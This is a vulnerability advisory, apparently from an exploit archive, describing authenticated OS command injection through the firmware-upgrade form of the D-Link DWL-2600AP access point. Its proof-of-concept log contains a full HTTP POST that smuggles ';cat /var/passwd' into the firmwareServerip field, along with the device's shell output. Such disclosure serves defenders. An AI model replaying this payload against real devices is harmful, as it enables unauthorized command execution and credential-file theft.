D-Link DWL-2600AP Upgrade Firmware Command Injection

D-Link DWL-2600AP suffers from an authentication OS command injection vulnerability via the upgrade firmware functionality.

MD5 | 71af962aec1ca96662e5b78ad03b1d51

Document Title:
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Upgrade Firmware)

Product & Service Introduction:
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.

Affected Product(s):
Product: D-Link DWL-2600AP (Web Interface)

Exploitation Technique:

Severity Level:

Base Score (CVSS):

Request Method(s):
[+] POST

URL Path :
[+] /admin.cgi?action=upgrade

Vulnerable POST Form Data Parameter:
[+] firmwareRestore
[+] firmwareServerip

Device Firmware version :

Hardware Version :
[+] A1

Device name :
[+] D-Link AP

Product Identifier :

Proof of Concept (PoC):
The security vulnerability can be exploited by local authenticated attackers.
there is no input validation on the POST Form Data Parameter "firmwareRestore"
and the Form Data Parameter "firmwareServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot1.jpg .

--- PoC Session Logs ---

POST /admin.cgi?action=upgrade HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 525
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
User-Agent: xxxxxxxxw
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=upgrade
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E

Content-Disposition: form-data; name="optprotocol"

Content-Disposition: form-data; name="firmwareRestore"

Content-Disposition: form-data; name="firmwareServerip"

;cat /var/passwd;cat /var/passwd
Content-Disposition: form-data; name="update.device.packet-capture.stop-capture"



HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8

/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets

sh: whoami: not found
sh: whoami: not found

Note : for testing put the values in the fields like this :
----+Discovered By Raki Ben Hamouda----+

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